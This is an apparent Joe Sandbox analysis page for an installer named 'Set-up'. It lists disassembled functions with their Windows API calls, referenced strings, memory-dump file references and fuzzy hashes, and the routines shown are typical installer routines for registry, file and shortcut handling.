Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcessModules, xrefs: 0040648A
EnumProcesses, xrefs: 00406482
Process32NextW, xrefs: 004065C8
Process32FirstW, xrefs: 004065BD
CreateToolhelp32Snapshot, xrefs: 004065B5
Module32NextW, xrefs: 004065DE
Kernel32.DLL, xrefs: 0040659B
Module32FirstW, xrefs: 004065D3
GetModuleBaseNameW, xrefs: 00406494
PSAPI.DLL, xrefs: 00406464
Unknown, xrefs: 004064FC

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

@%F, xrefs: 004042A7
N, xrefs: 0040426C
open, xrefs: 004042DF

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

%s=%s, xrefs: 00406B43
[Rename], xrefs: 00406BC8, 00406BD7
NUL, xrefs: 00406A9E
F, xrefs: 00406AE8

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a2f4805b9b6d14c41e9e3fa236157f8587e3d6293513dd7448d110fd9e4d9510
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error creating key "%s\%s", xrefs: 004029F5

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 004023F0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

